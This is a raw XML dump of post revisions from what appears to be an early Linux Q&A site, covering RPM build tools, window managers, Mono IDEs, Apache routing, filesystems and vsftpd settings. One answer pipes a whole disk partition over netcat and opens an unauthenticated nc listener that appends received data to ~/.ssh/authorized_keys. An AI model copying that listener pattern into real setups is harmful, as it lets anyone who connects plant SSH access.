  <row Id="567" PostHistoryTypeId="2" PostId="314" RevisionGUID="b1017c70-2c65-4865-b3d7-5c924b81c420" CreationDate="2010-08-11T16:10:26.343" UserId="76" Text="have you tried minicom [file transfer][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docwiki.gumstix.org/Connecting_via_Serial_-_Linux#Transferring_files" />
  <row Id="569" PostHistoryTypeId="2" PostId="315" RevisionGUID="9c41147e-81bc-4fd4-90cc-853c1440bc60" CreationDate="2010-08-11T16:23:37.627" UserId="76" Text="mach supports RHEL with an appropriate configuration file, ex:&#xD;&#xA;&#xD;&#xA;    V  = '5Server' # distro version&#xD;&#xA;    VS = '5'       # 'short' version&#xD;&#xA;    A  = 'i386'    # architecture&#xD;&#xA;    AS = ''        # 'short' version of arch&#xD;&#xA;    DIST = 'rhel-%s-%s' % (V, A)&#xD;&#xA;    &#xD;&#xA;    ### RHEL flavours&#xD;&#xA;    &#xD;&#xA;    yumsources[DIST] = {&#xD;&#xA;      'os':               rhelyum + '/%s/%s/os'                         % (V, A),&#xD;&#xA;      'updates':          rhelyum + '/%s/%s/updates'                    % (V, A),&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # RHEL&#xD;&#xA;    packages['%s' % DIST] = {&#xD;&#xA;      'dir':      DIST,&#xD;&#xA;      'minimal':  'bash glibc redhat-release',&#xD;&#xA;      'base':     'coreutils findutils openssh-server',&#xD;&#xA;      'build':    'dev redhat-rpm-config rpm-build make gcc gcc-c++ tar gzip ' +&#xD;&#xA;                  'patch unzip bzip2 diffutils cpio elfutils which',&#xD;&#xA;    }&#xD;&#xA;    sourceslist['%s' % DIST] = {&#xD;&#xA;      DIST: ('os', 'updates', )&#xD;&#xA;    }&#xD;&#xA;    config['%s' % DIST] = {&#xD;&#xA;      'runuser': '/sbin/runuser',&#xD;&#xA;      'macros':  { 'dist': '.el' + VS, 'rhel': VS, 'redhat': VS},&#xD;&#xA;    }&#xD;&#xA;    aliases['%s' % DIST] = ('el' + VS + AS, )&#xD;&#xA;" />
  <row Id="570" PostHistoryTypeId="5" PostId="313" RevisionGUID="dce9d451-5414-4583-be75-f8b76aa9d928" CreationDate="2010-08-11T16:27:29.760" UserId="45" Comment="added 5 characters in body" Text="Do you mean something like a servlet interface? &#xD;&#xA;&#xD;&#xA;You could also pretty easily emulate something like this using an ASPX HTTP Handler.  You simply inherit from IHttpAsyncHandler and you'll get a BeginProcessRequest method and an EndProcessRequest method. &#xD;&#xA;&#xD;&#xA;In your BeginRequest handler you can do context.Response.Write ();&#xD;&#xA;&#xD;&#xA;" />
  <row Id="571" PostHistoryTypeId="5" PostId="257" RevisionGUID="bb6160b7-98d0-49e3-9166-525ab094f6bb" CreationDate="2010-08-11T16:29:39.417" UserId="76" Comment="removed the python stuff" Text="[Massif][1] (from valgrind) is one of the best way to find memory leaks. Repeat your suspicious code (or run your program long enough) and dump the result with ms_print. Usually, the call stack is giving you enough information to fix it.&#xD;&#xA;&#xD;&#xA;With GDB, you can try to attach to a running program and call functions such as `malloc_stats()`&#xD;&#xA;&#xD;&#xA;If your program is written in a different language, it might be more tricky. Recently, some GDB has gained scriptability, and people started interesting projects such as [gdb-heap][4], which can analyze Python memory from a core dump. Similar memory analysys scripts might be possible for C++ objects.&#xD;&#xA;&#xD;&#xA;Read also http://stackoverflow.com/questions/2564752/examining-c-c-heap-memory-statistics-in-gdb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://valgrind.org/docs/manual/ms-manual.html&#xD;&#xA;  [2]: http://www.lshift.net/blog/2008/11/14/tracing-python-memory-leaks&#xD;&#xA;  [3]: http://code.google.com/p/pympler/&#xD;&#xA;  [4]: https://fedorahosted.org/gdb-heap/wiki" />
  <row Id="572" PostHistoryTypeId="2" PostId="316" RevisionGUID="f3b465eb-1fdf-4d1f-acb9-1a8e742cc192" CreationDate="2010-08-11T16:31:19.913" UserId="5" Text="I would use [kermit][1], the grandparent of filetransfer programs. We used that already long before there was Linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.columbia.edu/kermit/ckututor.html" />
  <row Id="573" PostHistoryTypeId="2" PostId="317" RevisionGUID="b9c3aa0f-f975-4bb4-9634-84270025247d" CreationDate="2010-08-11T16:31:58.180" UserId="183" Text="After installing one of [many tiling window managers](http://en.wikipedia.org/wiki/Tiling_window_manager#List_of_tiling_window_managers_for_X), you can add the following to your .gnomerc file.&#xD;&#xA;&#xD;&#xA;    export WINDOW_MANAGER=/path/to/window/manager/executable" />
  <row Id="574" PostHistoryTypeId="5" PostId="317" RevisionGUID="f913553a-3455-45c6-912d-fde122ec7bdc" CreationDate="2010-08-11T16:39:10.357" UserId="183" Comment="added 778 characters in body; deleted 355 characters in body" Text="From [Mikael Jansson](http://mikael.jansson.be/log/trying-out-stumpwm)(with a little aditing by me to make this more general).&#xD;&#xA;&#xD;&#xA;&gt; If you, like me, use Ubuntu 9.04 and earlier, you'll want to add this to your ~/.gnomerc:&#xD;&#xA;&#xD;&#xA;&gt;    export WINDOW_MANAGER=/path/to/your/favorite/window/manager&#xD;&#xA;&#xD;&#xA;&gt;If on the other hand you run Ubuntu 9.10 and later, you'll have to change a key in the registry:&#xD;&#xA;&#xD;&#xA;&gt;    gconftool-2 --set /desktop/gnome/session/required_components/windowmanager --type string &quot;Window Manager Executable Name&quot;&#xD;&#xA;&gt;making sure the binary is in your path.&#xD;&#xA;&#xD;&#xA;&gt;This will give you gnome-panel and default theme settings (such as fonts), but with stumpwm instead of metacity." />
  <row Id="575" PostHistoryTypeId="5" PostId="317" RevisionGUID="5c4ccc9b-37e9-41ab-ba60-e55e9429d7b9" CreationDate="2010-08-11T16:45:42.597" UserId="183" Comment="deleted 4 characters in body" Text="From [Mikael Jansson](http://mikael.jansson.be/log/trying-out-stumpwm)(with a little editing by me to make this more general).&#xD;&#xA;&#xD;&#xA;&gt; If you, like me, use Gnome 2.3 and earlier, you'll want to add this to your ~/.gnomerc:&#xD;&#xA;&#xD;&#xA;&gt;    export WINDOW_MANAGER=/path/to/your/favorite/window/manager&#xD;&#xA;&#xD;&#xA;&gt;If on the other hand you run Gnome 2.4 and later, you'll have to change a key in the registry:&#xD;&#xA;&#xD;&#xA;&gt;    gconftool-2 --set /desktop/gnome/session/required_components/windowmanager --type string &quot;Window Manager Executable Name&quot;&#xD;&#xA;&gt;making sure the binary is in your path.&#xD;&#xA;&#xD;&#xA;&gt;This will give you gnome-panel and default theme settings (such as fonts), but with stumpwm instead of metacity." />
  <row Id="576" PostHistoryTypeId="2" PostId="318" RevisionGUID="79e84c6f-0b96-4891-8868-8fcfe0de8091" CreationDate="2010-08-11T16:52:56.143" UserId="195" Text="Don't know if this would work if all you had was a serial console, but if you have network access at all, then you could use `nc(1)` to copy files using TCP/IP.&#xD;&#xA;&#xD;&#xA;    root@destination-box.local # nc -l 8675 | dd of=/dev/sda1&#xD;&#xA;    root@source-box.local # dd if=/dev/sdb1 | nc destination-box.local 8675&#xD;&#xA;&#xD;&#xA;In the above example, I cloned sdb1 from a source box to sda1 of the destination box. My choice of 8675 for a TCP port number was arbitrary; you could use any port you have access to. And it doesn't have to be a device; it can be any file.&#xD;&#xA;&#xD;&#xA;    kevin@destination-box.local $ nc -l 12345 &gt;&gt; ~/.ssh/authorized_keys&#xD;&#xA;    kevin@source-box.local $ cat ~/.ssh/id_rsa.pub | nc destination-box.local 12345&#xD;&#xA;&#xD;&#xA;In the second example, I copied my rsa public key(~/.ssh/id_rsa.pub) and added it to the authorized keys file for the target host." />
  <row Id="577" PostHistoryTypeId="5" PostId="317" RevisionGUID="8e17fa16-22b2-4584-837b-bc00e1c3bba8" CreationDate="2010-08-11T16:58:44.013" UserId="183" Comment="added 2 characters in body; added 21 characters in body" Text="From [Mikael Jansson](http://mikael.jansson.be/log/trying-out-stumpwm)(with a little editing by me to make this more general).&#xD;&#xA;&#xD;&#xA;&gt; If you, like me, use Gnome 2.3 and earlier, you'll want to add this to your ~/.gnomerc:&#xD;&#xA;&#xD;&#xA;&gt;     export WINDOW_MANAGER=/path/to/your/favorite/window/manager&#xD;&#xA;&#xD;&#xA;&gt;If on the other hand you run Gnome 2.4 and later, you'll have to change a key in the registry:&#xD;&#xA;&#xD;&#xA;&gt;     gconftool-2 --set /desktop/gnome/session/required_components/windowmanager --type string &quot;Window Manager Executable Name&quot;&#xD;&#xA;&gt;making sure the binary is in your path.&#xD;&#xA;&#xD;&#xA;&gt;This will give you gnome-panel and default theme settings (such as fonts), but with your-favorite-window-manager instead of metacity." />
  <row Id="578" PostHistoryTypeId="2" PostId="319" RevisionGUID="f6aeb251-5511-437d-a141-16cf4a09ad35" CreationDate="2010-08-11T17:00:35.447" UserId="307" Text="[Mock][1] is what you're looking for.  It's based on Mach and is packaged in [EPEL][2].  I regularly use it to build RPM packages for and on RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Projects/Mock&#xD;&#xA;  [2]: http://fedoraproject.org/wiki/EPEL" />
  <row Id="579" PostHistoryTypeId="2" PostId="320" RevisionGUID="1bbac22b-7e40-4444-891d-b0917a062a69" CreationDate="2010-08-11T17:05:03.457" UserId="308" Text="I want to make my Fedora Linux capable of following :&#xD;&#xA;&#xD;&#xA;1. Use Linux for complete development platform without requiring any other OS installation but still able to build and test programs under different platforms.&#xD;&#xA;&#xD;&#xA;2. Completely replace Windows machine for all the other work e.g. Office,  Paint, Remote Desktop, etc. &#xD;&#xA;&#xD;&#xA;Can you suggest open source projects and tools for achieving above objectives ? " />
  <row Id="580" PostHistoryTypeId="1" PostId="320" RevisionGUID="1bbac22b-7e40-4444-891d-b0917a062a69" CreationDate="2010-08-11T17:05:03.457" UserId="308" Text="Linux as a complete development platform ?" />
  <row Id="581" PostHistoryTypeId="3" PostId="320" RevisionGUID="1bbac22b-7e40-4444-891d-b0917a062a69" CreationDate="2010-08-11T17:05:03.457" UserId="308" Text="élinuxàéopensourceöprojectsà" />
  <row Id="582" PostHistoryTypeId="5" PostId="317" RevisionGUID="08e1980d-ca7c-40a2-bb75-89e55a1537e3" CreationDate="2010-08-11T17:08:06.527" UserId="183" Comment="added 184 characters in body; edited body" Text="From [Mikael Jansson](http://mikael.jansson.be/log/trying-out-stumpwm)(with a little editing by me to make this more general).&#xD;&#xA;&#xD;&#xA;&gt; If you, like me, use gnome-session 2.3 and earlier, you'll want to add this to your ~/.gnomerc:&#xD;&#xA;&#xD;&#xA;&gt;     export WINDOW_MANAGER=/path/to/your/favorite/window/manager&#xD;&#xA;&#xD;&#xA;&gt;If on the other hand you run gnome-session 2.4 and later, you'll have to change a key in the registry:&#xD;&#xA;&#xD;&#xA;&gt;     gconftool-2 --set /desktop/gnome/session/required_components/windowmanager --type string &quot;Window Manager Executable Name&quot;&#xD;&#xA;&gt;making sure the binary is in your path.&#xD;&#xA;&#xD;&#xA;&gt;This will give you gnome-panel and default theme settings (such as fonts), but with your-favorite-window-manager instead of metacity.&#xD;&#xA;&#xD;&#xA;edit: I mistakenly wrote Gnome instead of gnome-session in an earlier edit.  That is incorrect and misleading.  I apologize.  Gnome has not reached release 2.4 yet." />
  <row Id="583" PostHistoryTypeId="6" PostId="305" RevisionGUID="ac01166c-66f7-4ef9-91c8-c96a936156c3" CreationDate="2010-08-11T17:11:39.093" UserId="183" Comment="edited tags" Text="étilingàégnomeàéx11àéwindowömanagerà" />
  <row Id="584" PostHistoryTypeId="6" PostId="305" RevisionGUID="a6a8d4f3-287d-439b-be8a-cfd144aa6aef" CreationDate="2010-08-11T17:15:06.547" UserId="183" Comment="edited tags" Text="étilingàégnomeàéx11àéwindowömanageràéxöwindowösystemà" />
  <row Id="585" PostHistoryTypeId="5" PostId="317" RevisionGUID="01ad6b59-5432-4eea-a7d5-f03a1bdc699f" CreationDate="2010-08-11T17:16:39.100" UserId="183" Comment="deleted 40 characters in body" Text="From [Mikael Jansson](http://mikael.jansson.be/log/trying-out-stumpwm)(with a little editing by me to make this more general).&#xD;&#xA;&#xD;&#xA;&gt; If you, like me, use gnome-session 2.3 and earlier, you'll want to add this to your ~/.gnomerc:&#xD;&#xA;&#xD;&#xA;&gt;     export WINDOW_MANAGER=/path/to/your/favorite/window/manager&#xD;&#xA;&#xD;&#xA;&gt;If on the other hand you run gnome-session 2.4 and later, you'll have to change a key in the registry:&#xD;&#xA;&#xD;&#xA;&gt;     gconftool-2 --set /desktop/gnome/session/required_components/windowmanager --type string &quot;Window Manager Executable Name&quot;&#xD;&#xA;&gt;making sure the binary is in your path.&#xD;&#xA;&#xD;&#xA;&gt;This will give you gnome-panel and default theme settings (such as fonts), but with your-favorite-window-manager instead of metacity.&#xD;&#xA;&#xD;&#xA;edit: I mistakenly wrote Gnome instead of gnome-session in an earlier edit.  That is incorrect and misleading.  I apologize." />
  <row Id="586" PostHistoryTypeId="2" PostId="321" RevisionGUID="27ae9c2b-3b54-453e-ae01-4da4f0e9cfef" CreationDate="2010-08-11T17:24:06.530" UserId="5" Text="Scenario:&#xD;&#xA;&#xD;&#xA;Due to limited number of IPs, several domains are resolved into the same IP address. However, these domains may not all run on the same webserver, VM, or even dedicated machine. Therefore, I would like to route the domains at the point of entry into the private network to the right place on condition of the domain in the url.&#xD;&#xA;&#xD;&#xA;How can I do this?" />
  <row Id="587" PostHistoryTypeId="1" PostId="321" RevisionGUID="27ae9c2b-3b54-453e-ae01-4da4f0e9cfef" CreationDate="2010-08-11T17:24:06.530" UserId="5" Text="How do I route web requests into my private network depending on the domain in the url?" />
  <row Id="588" PostHistoryTypeId="3" PostId="321" RevisionGUID="27ae9c2b-3b54-453e-ae01-4da4f0e9cfef" CreationDate="2010-08-11T17:24:06.530" UserId="5" Text="éprivateönetworkàéroutingàéurlà" />
  <row Id="589" PostHistoryTypeId="2" PostId="322" RevisionGUID="d6933db6-dbd4-4964-a806-2cdf1762c615" CreationDate="2010-08-11T17:30:02.933" UserId="32" Text="Currently I don't have a Linux installation with a GUI. All are running text mode. When I do, I usually do KDE. On Windows I am a .NET developer. Haven't done any Mono development, yet. I heard that Monodevelop is only Genome. &#xD;&#xA;&#xD;&#xA;If you develop Mono on a KDE environment, what IDE do you use?" />
  <row Id="590" PostHistoryTypeId="1" PostId="322" RevisionGUID="d6933db6-dbd4-4964-a806-2cdf1762c615" CreationDate="2010-08-11T17:30:02.933" UserId="32" Text="What IDE you use for Mono development on KDE?" />
  <row Id="591" PostHistoryTypeId="3" PostId="322" RevisionGUID="d6933db6-dbd4-4964-a806-2cdf1762c615" CreationDate="2010-08-11T17:30:02.933" UserId="32" Text="émonoàékdeà" />
  <row Id="594" PostHistoryTypeId="2" PostId="324" RevisionGUID="98710149-8a7f-4c80-897b-2a26afbdbae4" CreationDate="2010-08-11T17:39:57.830" UserId="85" Text="Define &quot;platform&quot;.  You can't reasonably test software meant for use on Windows or Mac without actually running those operating systems, even if it's possible to use cross-compilation to build it on Linux.  For real testing on other operating systems, VMware is a great tool.&#xD;&#xA;&#xD;&#xA;The second part of your question should probably be a totally separate question.  But you can use OpenOffice.org or Google Docs to replace MS Office, Pinta or GIMP or whatever to replace Paint, VNC or Empathy+Vinagre to replace Remote Desktop, etc etc.&#xD;&#xA;&#xD;&#xA;It would be easier to answer these questions if you gave some more specific use cases." />
  <row Id="595" PostHistoryTypeId="2" PostId="325" RevisionGUID="11d825e2-c45c-44e0-a09a-59782e134869" CreationDate="2010-08-11T17:42:52.070" UserId="183" Text="Weeeeeeel, #1 is quite the doozie, sir.  I don't know that there is any way to achieve this goal.  Cross-compiling to other *nixes can be done ([with a bit of a headache](http://www.landley.net/writing/docs/cross-compiling.html)) on your development box, but how exactly are you supposed to run that code without the appropriate OS and architecture? There are extensive forays into [system emulation](http://en.wikipedia.org/wiki/List_of_computer_system_emulators) out there, but ultimately this is a cludge.  If you want to test software on an OS/architecture, run it on that OS/architecture!&#xD;&#xA;&#xD;&#xA;Now, on the other hand, there are tools out there that make it simple to build the same project in vast ranges of configurations.  [Cmake](http://en.wikipedia.org/wiki/Cmake) is probably the most well-known and well-tested.  At least this will assist you in testing your project on other systems, or encourage others to do so for you.&#xD;&#xA;&#xD;&#xA;To be fare, I'm pretty sure this is impossible on other Operating Systems as well.&#xD;&#xA;&#xD;&#xA; #2 is much much easier&#xD;&#xA;&#xD;&#xA;* [Open Office](http://www.openoffice.org/) &#xD;&#xA;&#xD;&#xA;* [Gimp](http://www.gimp.org/)&#xD;&#xA;&#xD;&#xA;* [Gnome](http://www.gnome.org/)&#xD;&#xA;&#xD;&#xA;* [KDE](http://www.kde.org/)&#xD;&#xA;&#xD;&#xA;* [Remote desktops](http://blog.lxpages.com/2007/03/13/remote-desktop-for-linux/)&#xD;&#xA;&#xD;&#xA;and on and on.  I would help more, but your questions acuity sharply drops off." />
  <row Id="596" PostHistoryTypeId="2" PostId="326" RevisionGUID="62e3e27a-d446-4f7c-8a9c-98a4f7877b76" CreationDate="2010-08-11T17:45:57.290" UserId="183" Text="If you're really QT gungho and just can't stand any gtk+ stuff on your desktop, you might be out of luck.  If you are, on the other hand, not a library-nazi, may I suggest Monodevelope?&#xD;&#xA;&#xD;&#xA;&gt;[Monodevelop](http://monodevelop.com/) is an IDE primarily designed for C# and other .NET languages. MonoDevelop enables developers to quickly write desktop and ASP.NET Web applications on Linux, Windows and Mac OSX. MonoDevelop makes it easy for developers to port .NET applications created with Visual Studio to Linux and to maintain a single code base for all platforms.&#xD;&#xA;&#xD;&#xA;Of course, you can also go write along using Emacs or Vim without any real problems." />
  <row Id="598" PostHistoryTypeId="2" PostId="327" RevisionGUID="79e48815-ac1d-4551-acc2-f205a40ab26c" CreationDate="2010-08-11T17:51:38.900" UserId="98" Text="I am unsure if I fully understand your question. If I do, you have multiple machines running as HTTP servers behind NAT. When some request arrives, you want to forward it to one of your servers, right?&#xD;&#xA;&#xD;&#xA;If you are using apache and mod_rewrite, you might be able to pull it this way:&#xD;&#xA;&#xD;&#xA; 1. http://www.linuxquestions.org/questions/linux-networking-3/apache-forward-request-to-another-box-264864/&#xD;&#xA;    &#xD;&#xA; 2. http://www.sematopia.com/2007/09/apache-forwarding-requests-to-another-server/&#xD;&#xA;&#xD;&#xA;Cheers." />
  <row Id="599" PostHistoryTypeId="2" PostId="328" RevisionGUID="e352c156-2f4c-4889-adeb-d6027d94e187" CreationDate="2010-08-11T17:56:09.593" UserId="32" Text="I was looking for the same thing a while ago. Never got around to do it but here is what I though might work.&#xD;&#xA;&#xD;&#xA;use the mod_proxy module and use the noproxy directive. &#xD;&#xA;&#xD;&#xA;http://httpd.apache.org/docs/2.2/mod/mod_proxy.html#noproxy " />
  <row Id="600" PostHistoryTypeId="2" PostId="329" RevisionGUID="ecda2e94-08e3-44f8-9114-ffe2951a58ca" CreationDate="2010-08-11T17:58:53.020" UserId="244" Text="You can easily do cross-platform development whether you are a systems programmer, a web developer or a desktop application developer. If you are into systems, then any utilities and/or drivers you write for linux are likely to work well for other *nix with very minimal modifications. Provided that you write standard C code and don't use too many system specific calls, they may be even easy to port to windows.&#xD;&#xA;&#xD;&#xA;If you are a desktop application dev, you can target GTK, QT or wxWidgets and your app will likely work well across the major 3 platforms today (*nix, Windows, Mac). Again, keep system specific calls to a minimum or isolate them into a wrapper library that's going to be system specific. &#xD;&#xA;&#xD;&#xA;If you are a web dev, then you are likely to run into too many different alternatives to choose from. I prefer a little web server called [Cherokee][1] and I develop and run ASP.NET (mono) and Django apps that run on it and use a PgSQL backend. &#xD;&#xA;&#xD;&#xA;So the conclusion is that cross-platform development in Linux can be done, provided that you can compile the code on the target platform and you keep that in mind while writing your code. The other point is that you may run into *The Paradox of Choice* and not know what to use. For that read below my answer to the second question.&#xD;&#xA;&#xD;&#xA;As to the second question, the best resource I have found is called [Open Source Alternatives][2]. This web site lists out commercial software and their open source alternatives. Almost all the alternatives run on Linux and FreeBSD. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cherokee-project.com/&#xD;&#xA;  [2]: http://www.osalt.com/" />
  <row Id="601" PostHistoryTypeId="2" PostId="330" RevisionGUID="2d7ee673-9f7a-42be-889f-a9ef9c04fca5" CreationDate="2010-08-11T18:23:40.367" UserId="4" Text="If you aren't seeing the mails, or if you are spamming root@yourcompany with the errors, try sending the output to Syslog instead:&#xD;&#xA;&#xD;&#xA;	*/5 * * * * yourcronjob 2&gt;&amp;1 | /usr/bin/logger -t yourtag&#xD;&#xA;&#xD;&#xA;Then, wait for the cronjob to run and look for the error in /var/log/messages (or /var/log/user.log on some systems).&#xD;&#xA;&#xD;&#xA;This works great for those common one-two line errors (Like `yourcronjob: command not found`), but may not be a good solution if your cronjob generates hundreds of lines of output." />
  <row Id="602" PostHistoryTypeId="5" PostId="329" RevisionGUID="bb35f05f-bbea-48cf-bdfd-239f90b6a194" CreationDate="2010-08-11T18:29:50.463" UserId="244" Comment="spelling fix" Text="You can easily do cross-platform development whether you are a systems programmer, a web developer or a desktop application developer. If you are into systems, then any utilities and/or drivers you write for linux are likely to work well for other *nix with very minimal modifications. Provided that you write standard C code and don't use too many system specific calls, they may be even easy to port to windows.&#xD;&#xA;&#xD;&#xA;If you are a desktop application dev, you can target GTK, QT or wxWidgets and your app will likely work well across the major 3 platforms today (*nix, Windows, Mac). Again, keep system specific calls to a minimum or isolate them into a wrapper library that's going to be system specific. You call also target a Virtual Machine like the JVM and/or CLR which will allow application to work across the board.&#xD;&#xA;&#xD;&#xA;If you are a web dev, then you are likely to run into too many different alternatives to choose from. I prefer a little web server called [Cherokee][1] and I develop and run ASP.NET (mono) and Django apps that run on it and use a PgSQL backend. &#xD;&#xA;&#xD;&#xA;So the conclusion is that cross-platform development in Linux can be done, provided that you can compile the code on the target platform and you keep that in mind while writing your code or if you target a VM. The other point is that you may run into *The Paradox of Choice* and not know what to use. For that read below my answer to the second question.&#xD;&#xA;&#xD;&#xA;As to the second question, the best resource I have found is called [Open Source Alternatives][2]. This web site lists out commercial software and their open source alternatives. Almost all the alternatives run on Linux and FreeBSD. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cherokee-project.com/&#xD;&#xA;  [2]: http://www.osalt.com/" />
  <row Id="603" PostHistoryTypeId="6" PostId="305" RevisionGUID="7c2fa7d4-09d3-41c2-8817-b7cab3564779" CreationDate="2010-08-11T18:35:24.210" UserId="183" Comment="edited tags" Text="étilingàégnomeàéwindowömanagerà" />
  <row Id="604" PostHistoryTypeId="5" PostId="177" RevisionGUID="44c8c8c1-0467-4d4d-9765-52d08bafa1a8" CreationDate="2010-08-11T18:45:26.390" UserId="203" Comment="Make the title more specific." Text="How do I set/change the default ftp root folder for a specific user?  I want to be able to create a developer account that homes to different sites on a development box depending on what is currently being worked on.  &#xD;&#xA;&#xD;&#xA;EDIT:  The server is running Ubuntu and vsftpd." />
  <row Id="605" PostHistoryTypeId="4" PostId="177" RevisionGUID="44c8c8c1-0467-4d4d-9765-52d08bafa1a8" CreationDate="2010-08-11T18:45:26.390" UserId="203" Comment="Make the title more specific." Text="How do I set the default ftp root folder for an Ubuntu user connecting to VSFTPD?" />
  <row Id="606" PostHistoryTypeId="2" PostId="331" RevisionGUID="77966387-3c08-40bf-9367-e26aeb256560" CreationDate="2010-08-11T19:09:14.003" UserId="48" Text="It depends on your target platform. If you are developing for a virtual platform (Java, or even .NET) you should be more then fine. There are some platforms that are even friendlier on Linux than on Windows (e.g. Ruby).&#xD;&#xA;&#xD;&#xA;As for Linux as a desktop, you just have to list the software you are looking for. There are hardly any windows desktop software nowadays that does not have a Linux alternative. " />
  <row Id="607" PostHistoryTypeId="2" PostId="332" RevisionGUID="04266e3d-dbd1-4ca3-9309-342152c42a51" CreationDate="2010-08-11T19:14:42.713" UserId="272" Text="If you want to go the whole way, you can set up [Koji][1], which uses Mock (from cdgagne's answer) as one of it's components. Koji is what builds Fedora and is freely downloadable from its website. Afaik, Fedora runs Koji on RHEL, so it should be fine for your purposes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://fedorahosted.org/koji/wiki" />
  <row Id="608" PostHistoryTypeId="2" PostId="333" RevisionGUID="40e31d22-3407-422d-a3b3-ce7cc4f98ef5" CreationDate="2010-08-11T19:14:59.467" UserId="48" Text="I have a couple of machines at home (plus a number of Linux boxes running in VMs) and I am planning to use one of them as a centralized file server.&#xD;&#xA;&#xD;&#xA;Since I am more a Linux user rather than a sysadmin, I'd like to know what is the equivalent of, let's say &quot;Active Directory&quot;? My objective is to have my files in any of the machines that I logon in my network.&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="609" PostHistoryTypeId="1" PostId="333" RevisionGUID="40e31d22-3407-422d-a3b3-ce7cc4f98ef5" CreationDate="2010-08-11T19:14:59.467" UserId="48" Text="What is the equivalent of Active Directory on Linux" />
  <row Id="610" PostHistoryTypeId="3" PostId="333" RevisionGUID="40e31d22-3407-422d-a3b3-ce7cc4f98ef5" CreationDate="2010-08-11T19:14:59.467" UserId="48" Text="élinuxàéfileöserverà" />
  <row Id="611" PostHistoryTypeId="2" PostId="334" RevisionGUID="2e5f4083-ebe1-403a-a4d3-ff84e88a388d" CreationDate="2010-08-11T19:15:16.847" UserId="85" Text="The important thing to note here is that MonoDevelop works fine in KDE.  It does not require you to use GNOME.  This is true of pretty much every GTK+ application." />
  <row Id="612" PostHistoryTypeId="6" PostId="66" RevisionGUID="86726ae7-6ad9-499c-bada-a49d090690ca" CreationDate="2010-08-11T19:30:58.697" UserId="102" Comment="edited tags" Text="écolorsàégrepà" />
  <row Id="613" PostHistoryTypeId="2" PostId="335" RevisionGUID="93e36f93-e478-4bb0-9d37-92f58c529aed" CreationDate="2010-08-11T19:34:21.510" UserId="104" Text="Also you could use [Giver][1] program. Using it you could transfer files over LAN with 2 clicks or by &quot;drag'n'dropping&quot; file to recipient. Recipients (which also have to run `giver`) are discovered via Zeroconf, so you don't have to know even their IP. Here's [video on how Giver works][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/giver/&#xD;&#xA;  [2]: http://video.google.com/videoplay?docid=3768442676796881783" />
  <row Id="614" PostHistoryTypeId="2" PostId="336" RevisionGUID="f60995a6-6851-4a40-acde-61984a08c637" CreationDate="2010-08-11T19:36:46.340" UserId="272" Text="I'll just name a few pro and con points for each. This is by no means an exhausting list, just an indication. If there are some big omissions that need to be in this list, leave a comment and I'll add them, so we get a nice, big list in one place.&#xD;&#xA;&#xD;&#xA;**ext4**&#xD;&#xA;&#xD;&#xA;Pro: &#xD;&#xA;&#xD;&#xA; - supported by all distro's, commercial and not, and based on ext3, so it's widely tested, stable and proven&#xD;&#xA; - all kinds for nice features (like extents, subsecond timestamps) which ext3 does not have.&#xD;&#xA;&#xD;&#xA;Con: &#xD;&#xA;&#xD;&#xA; - rumor has it that it is slower than ext3, the [fsync dataloss soap][1] &#xD;&#xA;&#xD;&#xA;**XFS**&#xD;&#xA;&#xD;&#xA;Pro: &#xD;&#xA;&#xD;&#xA; - support for *massive* filesystems (up to 8 exabytes (yes, 'exa') on 64-bit systems)&#xD;&#xA; - online defrag&#xD;&#xA; - supported on upcoming RHEL6 as the 'large filesystem' option&#xD;&#xA; - proven track record: xfs has been around for ages&#xD;&#xA;&#xD;&#xA;Con: &#xD;&#xA;&#xD;&#xA; - none that I know of; wikipedia [mentions][2] slow metadata operations, but I wouldn't know about that &#xD;&#xA;&#xD;&#xA;**JFS**&#xD;&#xA;&#xD;&#xA;Pro:&#xD;&#xA;&#xD;&#xA; - said to be fast (I have little experience with JFS)&#xD;&#xA; - originated in AIX: proven technology&#xD;&#xA;&#xD;&#xA;Con: &#xD;&#xA;&#xD;&#xA; - used and supported by virtually no-one, except IBM (correct me if I'm wrong; I have never seen or heard about JFS used in production, though it obviously must be, somewhere)&#xD;&#xA;&#xD;&#xA;**ReiserFS**&#xD;&#xA;&#xD;&#xA;Pro:&#xD;&#xA;&#xD;&#xA;- fast with small files&#xD;&#xA;&#xD;&#xA;Con:&#xD;&#xA;&#xD;&#xA; - ReiserFS' future, Reiser4, has a very uncertain future and has not been merged yet&#xD;&#xA; - main supporting distro (SuSE) dropped it years ago&#xD;&#xA; - Hans Reiser's 'legal issues' are not really helping&#xD;&#xA;&#xD;&#xA;I recommend [this page][3] for further reading.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ext4#Delayed_allocation_and_potential_data_loss&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/XFS#Disadvantages&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Comparison_of_file_systems" />
  <row Id="615" PostHistoryTypeId="2" PostId="337" RevisionGUID="042cdb12-7e03-4a39-becb-3fb871d77f55" CreationDate="2010-08-11T19:36:52.237" UserId="311" Text="If you specify the `user_config_dir` in `vsftpd.conf`, you can set any config option on a per-user basis.&#xD;&#xA;&#xD;&#xA;From `man vsftpd.conf`:&#xD;&#xA;&lt;blockquote&gt; &#xD;&#xA;This powerful option allows the override of any config option specified in the manual page, on a per-user basis. Usage is simple, and is best illustrated with an example. If you set user_config_dir to be /etc/vsftpd_user_conf and then log on as the user &quot;chris&quot;, then vsftpd will apply the settings in the file /etc/vsftpd_user_conf/chris for the duration of the session.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So, setting `local_root` in this way to the desired directory changes the FTP root for just that user." />
